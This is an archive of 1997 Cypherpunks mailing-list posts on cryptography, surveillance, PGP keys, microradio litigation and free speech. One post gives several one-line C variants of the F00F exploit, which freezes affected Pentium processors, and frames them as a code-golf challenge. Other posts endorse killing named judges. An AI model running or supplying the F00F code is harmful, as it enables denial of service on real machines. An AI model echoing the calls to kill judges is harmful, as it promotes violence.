The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 14 Nov 1997 15:52:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <199711131314.HAA05512@dfw-ix5.ix.netcom.com>
Message-ID: <v03102809b091a2aa5500@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:13 AM -0700 11/12/97, Neva Remailer wrote:

>While Blanc is only joking, I want to take this opportunity to comment
>on the Find The Mole game.
>
>Moles look just like everyone else.  Speculation on who is actually a
>provocateur or an informant or a saboteur or whatever only has the
>purpose of creating unhappiness and undermining anything worthwhile
>that is going on.
>
>It is likely that there are informants lurking amongst the
>cypherpunks.  The secret police watch and infiltrate far less
>interesting groups, and this one has received more than its share of
>publicity.  (In a couple of decades we'll probably learn who they
>were.  Hopefully things will work out in such a way that this will be
>worth a good laugh.)

At last year's Hacker's Conference, a programmer/analyst from the CIA told
me that the Cypherpunks list was well known to folks there. I don't know if
they're still reading it, what with the list hiccups earlier this year and
subsequent drop-off in number of subscriptions.

At this year's CFP, an NSA guy said the same thing about NSA getting the list.

I assume the government agents know exactly what we're talking about.

Someone who has corresponded with me privately said he works for a defense
contractor on intelligence matters, and he said they took my posts about
how unbreakable crypto would facillitate perfect espionage and perfect
black markets in information very seriously. He also said "Blacknet" was
used as an example of the dangers of info-terrorism.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 14 Nov 1997 17:05:24 +0800
To: cypherpunks@toad.com
Subject: Re: Key Signing
In-Reply-To: <199711100021.BAA03513@basement.replay.com>
Message-ID: <3.0.3.32.19971113235828.0072b134@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 01:21 AM 11/10/1997 +0100, Necessarily Knot, ME wrote:
>I am including the key (below) for my new nym, which has not been used
>before, and would like for people to sign it and send the signed key
>to the list.
>This way, people will know by the signature, that it is, indeed:
>Necessarily Knot, ME

This was bizarre - what did you do to create the key and the ASCII version?
I imported the key into my PGP 5.0, and saw the double-key icon,
which says I have the private key as well as the public key,
and sure enough, it was willing to let me change the passphrase
(which was previously not set.)  

I'm not sure how comfortable I am signing a key which has the
private keys made public - so I signed it, and revoked it,
and you're welcome to the signed revocation certificate :-)

The keyserver says it accepted the certificate, but doesn't
find it when I query it for the key, but then it did that to me
earlier today, so I'm not sure if it's there or not.
(It's the server at http://www.pgp.com/keyserver/pks-lookup.cgi .)

The KeyID was 0x61C747B1 - 512-bit RSA 

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h4EimgD+TB4kiCWvklDhkTDckAxweIjbtBVOZWNlc3NhcmlseSBLbm90dCwgTUWJ
AJUDBRA0bAGS+fMmybV+y8UBAYRCA/99H8XcS1h0X0l2vQ5zPqmOSiYQ0mfi5dXZ
iMOlqlnFzVyus3L6sIr9X7Xyzg8emaNfLslQBqiagLRyVVc6e5wTVSXOKQoMzqTm
s26OA/e+/1oZHx3mCgrJm2YWyjOVm8Vx1BwbrFSgTVgdiaKbeVKrj9Zbx178BYqs
Gd1RHLXjWQ==
=ANSy
- -----END PGP PUBLIC KEY BLOCK-----

But hey, since I've got this bogus key around, might as well sign
something with it :-)
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBNGwEogpaM5Vhx0exAQGupAH/duqAF915VFqxcFHk3wlmXzmU2DDQv9nP
6FM0rU2MSfiFmfQu76dBAyriBAdEzk1Ry+oyZiWIlixGZYbLaXLU8Q==
=5ZQC
-----END PGP SIGNATURE-----

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jean-Francois Avon" <jf_avon@citenet.net>
Date: Fri, 14 Nov 1997 13:08:29 +0800
To: "cypherpunks@cyberpass.net>
Subject: Quote from Mao
Message-ID: <199711140508.AAA23933@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



===== forwarded from the Canadian Firearms Digest mailing list ====

>"Political power grows out of the barrel of a gun" 
>                                                                               - Mao

Which is why the Liberals only want the state to have guns.

- -keith

Keith P. de Solla, P.Eng  -  NFA Field Officer
kdesolla@cyberus.ca
http://www.cyberus.ca/~kdesolla/eohc.htm

-- 
Jean-Francois Avon, Pierrefonds(Montreal) QC Canada
 DePompadour, Societe d'Importation Ltee
    Finest of Limoges porcelain and crystal
 JFA Technologies, R&D consultants
    physicists and engineers, LabView programing.
PGP encryption keys at:
   http://w3.citenet.net/users/jf_avon
   http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D  : 529645E8205A8A5E F87CC86FAEFEF891 
ID# 5B51964D  : 152ACCBCD4A481B0 254011193237822C






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Fri, 14 Nov 1997 14:56:52 +0800
To: stewarts@ix.netcom.com (Bill Stewart)
Subject: Re: getting premail
In-Reply-To: <3.0.3.32.19971113223820.0070f958@popd.ix.netcom.com>
Message-ID: <199711140644.AAA11157@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Bill Stewart wrote:
> 
> At 11:11 PM 11/13/1997 -0600, Igor Chudov @ home wrote:
> >Anyone know of a WORKING site where I can download premail from?
> >kiwi...berkeley is refusing connections.
> 
> http://atropos.c2.net/~raph/premail.html
> 
> Also look at www.publius.net

Nope, all of these sites refer me to kiwi, which is refusing connections.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 14 Nov 1997 17:05:29 +0800
To: cypherpunks@toad.com
Subject: Re: Victory for Microbroadcasting
Message-ID: <346BF993.3418@dev.null>
MIME-Version: 1.0
Content-Type: text/plain

The federal war against Microbroadcasting should be studied by all
InfoWarriors who plan to shed their ElectroBlood defending the coming
attacks against MicroWeb free speech.

The Intenet Content Coalition (ICC) made a cheap grab at trying to form
a corporate FCC to put the InterNet media-power brokering in the hands
of those who already rule the roost overseen by the FCC. (Eliminating
the middle-man, so to speak.)
The fact of the matter is, the mainstream media is not going to have
a lot of trouble herding the majority of the sheeple into their feeding
pens, given the power, money and position that they already have, so
it is a bit tacky for them to have made an attempt to put themselves
in a position to 'enforce' standards favorable to themselves.

The difference between MicroBroadcasting and the MicroWeb/WebRings
that are being independently formed, is that MicroBroadcasting is
trying to get back what was stolen, and those on the InterNet are
trying to keep from getting what we already have, stolen in the
future.

TruthMonger
~~~~~~~~~~~



~~~~


           JUDGE WILKEN DENIES FCC MOTION FOR SUMMARY JUDGEMENT!!!

        National Lawyers Guild Committee on Democratic Communications

                    558 Capp Street, San Francisco 94110

                            FOR IMMEDIATE RELEASE

                 COURT REJECTS FCC's CONSTITUTIONAL CATCH 22

     United States District Court Judge Claudia Wilken has rejected
     another attempt by the Federal Communications Commission to
     silence Berkeley Micro Radio Broadcaster Stephen Dunifer, founder
     of Free Radio Berkeley.

     In a 13 page opinion released on November 12, 1997, Judge Wilken
     once again rejected the government's motion for an injunction to
     silence micro radio broadcasts by local radio pioneer Stephen
     Dunifer.

     In 1995, Judge Wilken rejected the government's first motion for a
     preliminary injunction against Dunifer's broadcasts. At that time
     the Court found merit in Dunifer's argument that the FCC's ban on
     low power, affordable FM broadcasting was a violation of the First
     Amendment's guarantee of free speech to all in the United States.

     In a blatant attempt to avoid facing its First Amendment
     obligations the FCC then urged Wilken to permanently enjoin
     Dunifer from Broadcasting and at the same time argued that she
     could not even consider the issue of whether its rules, which
     prevent him from getting a license, are unconstitutional. In a
     Kafkaesqe argument, the Commission argued that Wilken had
     jurisdiction to issue an injunction, but no jurisdiction to hear
     Dunifer's constitutional arguments. The government claimed that
     only the higher federal courts could consider the constitutional
     question.

     In her November 12 decision rejecting the Government's position,
     Judge Wilken pointed to the fact that the FCC had taken exactly
     the opposite position in the 1994 case of Dougan vs FCC. In that
     case, an Arizona micro radio broadcaster had appealed an FCC fine
     (for broadcasting without a license) to the 9th Circuit Federal
     Court of Appeal, and the FCC had argued that the Court of Appeal
     had no jurisdiction over the case, and that it had to be heard by
     the District Court. The Court of Appeals agreed with the FCC and
     sent the case back to the District Court.

     Judge Wilken noted that the Arizona broadcaster had raised the
     same constitutional arguments in the Court of Appeals that Dunifer
     is raising. The Court ruled that in sending all of the issues in
     the Arizona case to the District Court, the Appeals Court
     recognized that the District Court had jurisdiction over all
     aspects of the case.

     In denying the Government's motion for an injunction "without
     prejudice," Judge Wilken ordered the Government to file a further
     brief on the question of whether the unconstitutionality of the
     FCC's ban on micro radio is a valid legal defense to an injunction
     against broadcasting at low power without a license. Dunifer's
     attorneys, Louis Hiken and Allen Hopper of San Francisco, will
     have an opportunity to rebut the government's arguments on this
     point.

     In response to pressure from the commercial broadcaster's lobby,
     the National Association of Broadcasters (N.A.B.), the FCC has in
     recent months been stepping up its campaign of harassment against
     the thousands of micro radio stations now on the air in this
     country. Hiken commented "The broadcast industry is clearly afraid
     of these little community stations which are speaking truth to its
     power. In trying to do the N.A.B.Õs bidding, the FCC demonstrates
     that it is nothing but an enforcement arm of the commercial
     broadcast industry and the multi-national corporations which own
     it."

     The National Lawyers Guild's Committee on Democratic
     Communications has represented the Lawyers Guild, San Francisco's
     Media Alliance, and the Women's International News Gathering
     Services as a "Friend of the Court" (Amicus) in this case. In its
     Friend of the Court brief the Lawyers Guild pointed out that FCC
     regulations make it impossible for all but the very wealthy to
     even apply for a broadcast license. This, they told the Court, is
     the equivalent of saying anyone could speak from a soap box in the
     park, but the box had to be made of gold. Guild attorney Peter
     Franck commented "In an era when Disney owns ABC, the world's
     largest defense contractor owns NBC and CNN merges with Time which
     merges with Warner, and when 'public' broadcasting is told to get
     its money from corporations, micro radio may be our last best hope
     for democracy on the air ways." He continued "Judge Wilken's
     decision is a courageous rejection of the Government's attempt to
     use a legal Catch-22 to avoid facing the fact that its ban on
     micro radio flies in the face of the Constitution."

     The legal team representing Dunifer and the Amicae are very
     pleased with Judge Wilken's reasoned and thorough decision denying
     the FCC's motion to have the case resolved without a trial on the
     merits. For almost 70 years, the FCC has catered solely to the
     interests of commercial corporate giants, through their
     mouthpiece, the National Association of Broadcasters. These are
     the pirates, who have stolen the airwaves from the American
     people, and who represent corporate interests valued at more than
     60 billion dollars. Only the Pentagon, the Silicon Valley and the
     transportation industries possess the financial wallop represented
     by the NAB and its constituents.

     Judge Wilken's decision represents a vision of what it would be
     like for the American people to be given back their own voice. The
     decision suggests the likely unconstitutionality of the entire
     regulatory structure underlying the FCC's ban on low power radio.
     It forewarns of the total failure of that agency to carry out its
     statutory obligation to regulate the airwaves in the public
     interest -- that is, in the interest of the American people,
     rather than the media monopolies that control our airwaves.

     The legal team welcomes the opportunity to have a court identify
     the real pirates of the airwaves -- not the thousands of
     microradio broadcasters who seek to communicate with the people of
     their communities, but rather the billionaire commercial interests
     that control the airwaves as if they own them. Is it General
     Electric, Westinghouse and the Disney Corporation that have the
     right to control local community radio, or is that a right that
     belongs to all of the American people, regardless of economic
     status?

     FOR MORE INFORMATION, CONTACT:

     Peter Franck, Counsel for Amicus
     415-415-995-5055
     pfranck@hbmvr.com (days)
     pfranck@a.crl.com(evs, wknds)
     http://www.368Hayes.com/nlg.cdc.html

     Alan Korn, Counsel for Amicus
     415-362-5700
     aakorn@igc.org

     Stephen Dunifer, Free Radio Berkeley
     415-644-3779
     frbspd@crl.com
     http://www.freeradio.org

     Louis Hiken
     Counsel for Stephen Dunifer
     415-575-3220
     hiken@igc.org
     http://www.368Hayes.com

     Allen Hopper
     Counsel for Stephen Dunifer
     415-575-3222
     lazlo@igc.org
     http://www.368Hayes.com

TO STEPHEN DUNIFER/FREE RADIO BERKELEY INFORMATION PAGE

TO FREE RADIO BERKELEY LEGAL BATTLE PAGE

TO NATIONAL LAWYERS GUILD INFORMATION PAGE

TO THE OFFICIAL NATIONAL LAWYERS GUILD WEB SITE

TO NLG COMMITTEE ON DEMOCRATIC COMMUNICATIONS PAGE

TO FREE RADIO BERKELEY WEB SITE

BACK TO LAW OFFICES AT 368 HAYES STREET



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Fri, 14 Nov 1997 14:50:02 +0800
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: [OB: CRYTO] Re: about RC4
In-Reply-To: <199711140509.GAA00261@basement.replay.com>
Message-ID: <Pine.GSO.3.95.971114013803.17808F-100000@king>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 14 Nov 1997, Anonymous wrote:

> > >   No...because they couldn't speak a 'Native' language perfectly.
> > > Cherokee!
> 
> > Navajo, if I understand what reference you're making. :-)  You are
> > referring to the practice of using Navajo Indians for much of the
> > top-secret communications during WWII, right?
> 
>   Right! It is em-bare-ass'ing to admit that my second 'guess' was
> going to be Comanche...
>   I'm not too dumb to use a Search Engine, just too lazy.

That's not as embarassing as the fact that we're running low on speakers
of Navajo in this country now.  It would be kinda convenient to have that
ability available again.  My gut feeling is that Navajo remains one of the
most poorly documented languages in the world....  government research
(funny name for it, come to think of it) into the language is probably
quite classified....

Ryan Anderson - Alpha Geek
PGP fp: 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <ryan@michonline.com>
Date: Fri, 14 Nov 1997 14:53:54 +0800
To: Steve Schear <schear@lvdi.net>
Subject: Re: (Fwd) Victory For Microbroadcasting!!!!
In-Reply-To: <v03102809b091947a167f@[208.129.55.202]>
Message-ID: <Pine.GSO.3.95.971114014118.17808G-100000@king>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 13 Nov 1997, Steve Schear wrote:

> Kuddos!

Actually, I've got a bad feeling about this.  (cliche, but it fits)  Out
of *all* the government agencies, the least screwed up has got to be the
FCC.  If we're going to eliminate agencies, this isn't the place to start.

Yes, I've been an Amateur Radio op for 10 years now.  From what I've seen,
the FCC does it's best to keep things from getting totally screwed up.
Can't say that about some others (hmm.. any of the ones with guns, would
the the "others")


Ryan Anderson - Alpha Geek
PGP fp: 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Fri, 14 Nov 1997 18:09:24 +0800
To: cypherpunks@toad.com
Subject: Progressive Government Programs That WORK!!!
In-Reply-To: <199711140815.AAA07701@jimmy.djc.com>
Message-ID: <346C16C5.74F5@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



sampler-request@lmboyd.com wrote:
> 
> ======================================================
>  The powerful William the Conqueror became the even more
> powerful Duke of Normandy, and thereafter enforced the
> Truce of God. It forbade violence on Mondays, Tuesdays,
> Thursdays and Fridays. This cut murderers down to a
> three-day week.
> ==============================================
> 
> LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email
> http://www.LMBoyd.com/postscript.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carol Anne Cypherpunk <carolann@censored.org>
Date: Fri, 14 Nov 1997 18:39:31 +0800
To: cypherpunks@Algebra.COM
Subject: Nader on CBS
Message-ID: <3.0.2.32.19971114042846.006fcb48@pop.primenet.com>
MIME-Version: 1.0
Content-Type: text/plain



Ralph was just on CBS "Up-To-The-Minute", bashing MS....
I think it is running every hour, so you might still be able
to get it on the West Coast.

I wonder though, if all this "Bill-Bashing" is somehow
causing problems in the financial markets. Yet "Bill-Bashing"
in the political sense doesn't seem  to have done that.
hmmmm...

http://uttm.com/drive/  is their site, and there is a RealAudio clip
available for the day owls.....


Member Internet Society  - Certified Mining Co. Guide  -  Webmistress
***********************************************************************
Carol Anne Braddock (cab8)  carolann@censored.org   206.165.50.96
My Homepage
The Cyberdoc
***********************************************************************
Will lobby Congress for Food & Expenses!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 14 Nov 1997 13:02:28 +0800
To: cypherpunks@toad.com
Subject: PGP 5.5 Conventional Encryption: Which Algorithm?
Message-ID: <199711140450.FAA28065@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Does anyone know what algorithm PGP 5.5 uses for conventional  encryption?
Also is PGP 5.5 capable of generating RSA keys of 4096 bits?
Thanks.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 14 Nov 1997 13:19:02 +0800
To: cypherpunks@toad.com
Subject: Re: [OB: CRYTO] Re: about RC4
Message-ID: <199711140509.GAA00261@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson wrote:
> On Thu, 13 Nov 1997, Anonymous wrote:
> > > > (And they wonder why we kicked Japan's butt.)

> > > Because they couldn't speak a non-native language perfectly?

> >   No...because they couldn't speak a 'Native' language perfectly.
> > Cherokee!

> Navajo, if I understand what reference you're making. :-)  You are
> referring to the practice of using Navajo Indians for much of the
> top-secret communications during WWII, right?

  Right! It is em-bare-ass'ing to admit that my second 'guess' was
going to be Comanche...
  I'm not too dumb to use a Search Engine, just too lazy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 14 Nov 1997 13:30:04 +0800
To: cypherpunks@toad.com
Subject: Re: Br'er Tim and the Bug Hole
Message-ID: <199711140523.GAA01754@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:
> > At any rate, the upshot of his argument was that there are often
> > attempts to ensure freedom, but in reality it can only be assured
> > through its exercise.
 
> If you lived here you'd be home now? Please.

Don't you feel more like you do now than you did earlier?

Footfault





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 14 Nov 1997 19:38:11 +0800
To: cypherpunks@toad.com
Subject: Re: MEGAVAPOUR ENCRYPTION [was CHALLENGE to Meganet VME...]
Message-ID: <2da73c065126ecb50fd187bcda48a502@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Attila T. Hun wrote:
> on or about 971108:1121, in <3.0.32.19971108112126.006dab28@ibcnet.com>,
>     Matrix Encryption <matrix@meganet.com> was purported to have
>     expostulated to perpetuate an opinion:
 
> >Dear Atilla,

>     1.  I do not believe your claim that you have placed your
>         encryption with 250 of the top software companies
>     2.  I do not believe you _ever_ had the $1 million prize
>         money for your alleged contest.
>     3.  I do not believe you even have a working model or beta
>         release of the software.
>     4.  I do not believe you are doing anything other than
>         putting us all on.

I shook down their entire web site and could find no indication that
these fuckers even existed before Oct. 30/97. (Shortly before their
announcement of the supposed million dollar encryption challenge
that expired in May/97, which no cryptographer I know has ever 
seemed to have heard of.)
It is also interesting that there seems to be no actual mention of
real, live people connected to their corporation, whom one can
contact. (Although there is contact information for their press
agents.)

Meganet is either one of the best Bad-Encryption spoofs to the list,
to date, or one of the best Bad-Encryption scams going.
Maybe Maganet was formed by the press agent that DataETRetch fired.
That would explain why they only seemed to have offered their
challenge to corporations with no cypherpunks in them.

I will shortly be announcing my Million Dollar Encryption Challenge
which, unfortunately, expired on Jan 1, 1754.
(However, if you check the Document Source on the files at my web
site, they will confirm that the HTML document announcing the
challenge was created in 1753.)

BaitrickS MegaNut <bs@meganut.com>
"Navel Ho' encryption products since 1753."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Fri, 14 Nov 1997 20:22:13 +0800
To: Robert Hettinga <cypherpunks@cyberpass.net
Subject: Re: Mad as Hell
In-Reply-To: <v0400273cb091012f0380@[139.167.130.248]>
Message-ID: <3.0.2.32.19971114070820.03820250@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 02:11 PM 11/13/97 -0500, Robert Hettinga wrote:

>> But in many ways, this is good news. The war is coming faster than I
>> thought.
>>
>> The judge in this case has committed a capital crime.
>
>was *not* a threat against a judge?
>
>Right, Tim, if you say so.

The phrase "capital crime" (literaly "head crime") just means "worst crime".  
It does not imply punishment.  Punishment for capital crimes varies with time 
and place.  Saying someone is guilty of an infamous crime is not a death 
threat.  It's not even a death threat to say, "I think X should be arrested, 
tried by a court, and gassed."  You are merely expressing opinions about 
criminal guilt and perhaps capital punishment but you are not making a 
threat.

"Hey, hey, LBJ.  How many kids did you kill today?"

Tim was *not* threatening to set up his own court and try anyone himself and 
carry out a punishment.

"You shall receive more than you deserve.  You shall receive justice."

>> You sicken me.
>
>Um, well... Take a pill, maybe?
>
>Cheers,
>Bob Hettinga

Bob, Tim's is just a different approach.  It shouldn't sicken you.  Tim and I 
are members of the same birth cohort and I think you are a little bit younger 
but it seems to me that he has absorbed the major message of modern education 
better.  You know -- Multi Culturalism.  Or as Mao said "let a thousand 
flowers bloom".  Tim's a very Multi Culti guy.  Individuation.  Big time.  
Micro Cultures.  He believes in letting other people explore the rich 
diversity of their lives and experiences as long as they let him do the same. 
 He's trying to make sure that everyone is aware that Multi Culturalism is 
*real*.  Too many proponents of same treat it as some bland mush.  Tim is 
keeping them aware of the spice.

Or as my grandfather said "It doesn't matter what your race, creed or color 
is.  You can still be a son of a bitch."  True equality requires true 
liberty.

DCF


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNGw/MoVO4r4sgSPhAQHChwP/SfIQzxtQIfQEcKP2gXkPe1s5tQqGtViC
+vrcdrU8PeAZuVL27BKa0tNiDn8i0jV0iDO0UXeiaLe++8Cympz+l2Y/HRoJAkw3
Js4MGNmUi0cYKnZFbqMUBRbLSmbFJz1UMBqUPkAHHxHnwwvpDVnkqjoPj+SYcJw+
AqfrWO2s0PQ=
=0gH9
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 15 Nov 1997 01:46:08 +0800
To: cypherpunks@toad.com
Subject: Re: Navajo Code Talkers
In-Reply-To: <v03102808b091a0d3e689@[207.167.93.63]>
Message-ID: <1kT6Fe17w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tiny Timmy <tcmay@got.net> writes:
> Finally, there are a couple of Navajo lexicons and dictionaries now
> available, so the government has obviously not classified Navajo
> scholarship...nor could it.

They could try.  The Communist government of Mongolia couldn't come up
with any information worth classifying, so they made the locations of
the dinosaur bones (plentiful there) secret and even executed some locals
for "spying" (revealing to white devils where to dig for dinosaur bones).

Why is this any more silly than "classifying" the A-bomb recipes or
forbidding a college professor to explain crypto in his classroom?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim@mentat.com (Jim Gillogly)
Date: Sat, 15 Nov 1997 00:57:53 +0800
To: aba@dcs.ex.ac.uk
Subject: Re: smaller f00f.c
Message-ID: <9711141643.AA18973@mentat.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam says:
> Hey, challenge is on:
> 
> main(){int i=0xc8c70ff0;void (*f)()=&i;f();} /* f00fies 44 char */
> main(){((int(*)())"\360\017\307\310")();}
> main(){int i=0xc8c70ff0,(*f)()=&i;f();}
> main(i){int(*f)()=&i;i=0xc8c70ff0;f();}
> main(i){i=0xc8c70ff0;((int(*)())&i)();}
> (*f)();main(i){f=&i;i=0xc8c70ff0;f();}
> (*f)()="\360\017\307\310";main(){f();}       /* 38 chars */
> 
> Compiled with gcc.

long main=0xc8c70ff0;	/* also gcc; 21 chars, and not my invention */
Without the "long" you get a warning, but it compiles anyway... 16 chars.

	Jim Gillogly
	jim@acm.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 15 Nov 1997 01:10:38 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <78ce81bf80f38ec4664ed8e4cdcd402f@anon.efga.org>
Message-ID: <v0310280ab092257910a1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:12 AM -0700 11/14/97, Anonymous wrote:
>At 11:42 PM 11/14/97 +0900, Joichi Ito wrote:
>>Oh and by the way:
>>
>>Article 21 of the Constitution of Japan
>>
>>Freedom of assembly and association as well as speech, press
>>and all other forms of expression are guaranteed.
>>2) No censorship shall be maintained, nor shall the secrecy of
>>any means of communication be violated.
>>
>>"nya nya na nya nya..."
>
>Is that Japanese for "Wassenaar"?

No. But close. Joichi Ito's keyboard is having that stuck key problem
again. What he meant to type was:


"nsa nsa nsa nsa nsa..."

Which explains why that Japanese-produced RSA chip was suddenly withdrawn
from the market shortly after Jim Bidzos held it up in fron of Congress as
an example of how foolish the U.S. export laws are. The Japanese stooges
were ordered by their masters in Washington to conform to U.S. policy.

--Tim May




The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 14 Nov 1997 22:20:38 +0800
To: cypherpunks@toad.com
Subject: Appeals court says CDA blocks liability for Internet providers
Message-ID: <v03007809b0920a3120da@[204.254.21.61]>
MIME-Version: 1.0
Content-Type: text/plain




http://caselaw.findlaw.com/cgi-bin/getcase.pl?court=4th&navby=case&no=971523P

Date:         Thu, 13 Nov 1997 11:14:23 -0500
From: Patrick Carome <pcarome@WILMER.COM>
Subject:      Fourth Circuit Rules in AOL v. Zeran

        I want to bring to the attention of this group an important
     decision issued yesterday by the United States Court of Appeals for
     the Fourth Circuit in a case that I argued on behalf of America
     Online, Inc.  The Fourth Circuit affirmed the decision in Zeran v.
     America Online, Inc. that has been a frequent topic of discussion in
     this forum.  In particular, the Fourth Circuit held that Section 230
     of the Communications Decency Act (47 U.S.C. § 230) "plainly immunizes
     computer service providers like AOL from liability for information
     that originates with third parties."  In an opinion written for a
     unanimous panel by Chief Judge Harvey Wilkinson, the court affirmed a
     ruling by the United States District Court for Eastern District of
     Virginia that is reported at 958 F. Supp. 1124 (1997).  The case
     concerned the question of whether AOL may be liable for allegedly
     being unreasonably slow to remove a series of allegedly defamatory
     messages posted on AOL message boards by an unidentified third party.
     The Court of Appeals based its ruling on Section 230(c)(1), which
     states that "No provider or user of an interactive computer service
     shall be treated as the publisher or speaker of any information
     provided by another information content provider."  The Court of
     Appeals also rejected the argument that Section 230 should not apply
     in this case because the messages at issue had been posted before the
     statute was enacted.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 15 Nov 1997 02:27:40 +0800
To: Paul Bradley <cypherpunks@Algebra.COM
Subject: Re: This judge needs killing
In-Reply-To: <Pine.LNX.3.91.971113183601.846A-100000@fatmans.demon.co.uk>
Message-ID: <v0310280bb092291ceb73@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:39 AM -0700 11/13/97, Paul Bradley wrote:
>Uk News:
>
>Judge David Selwood today sentenced 3 writers for the magazine "Green
>Anarchist" to 3 years imprisonment each for their articles in the
>magazine which he concluded incited others to break the law.
>The magazine contained diaries for the previous months animal rights
>activism events and contained articles generally favourable to the cause
>of animal liberation.
>
>Another judge who has richly earned the death penalty.

This stifling of free speech, by both state and corporate interests, is a
trend spreadingl like wildfire in the Western world.

Libel, slander, defamation, damage, incitement, sedition, and obscenity
cases are squelching free speech. Publishers are held liable for the words
of others, and even distributors are held liable.

Even here on Cypherpunks we see toadies like Bob Hettinga fretting that our
words are going too far, that we must learn to police ourselves or the
police will be forced to do so.

(Hey, if the Paladin case withstands Supreme Court scrutiny and his upheld,
look for the Cypherpunks list node distributors to face criminal charges.)

--Tim May

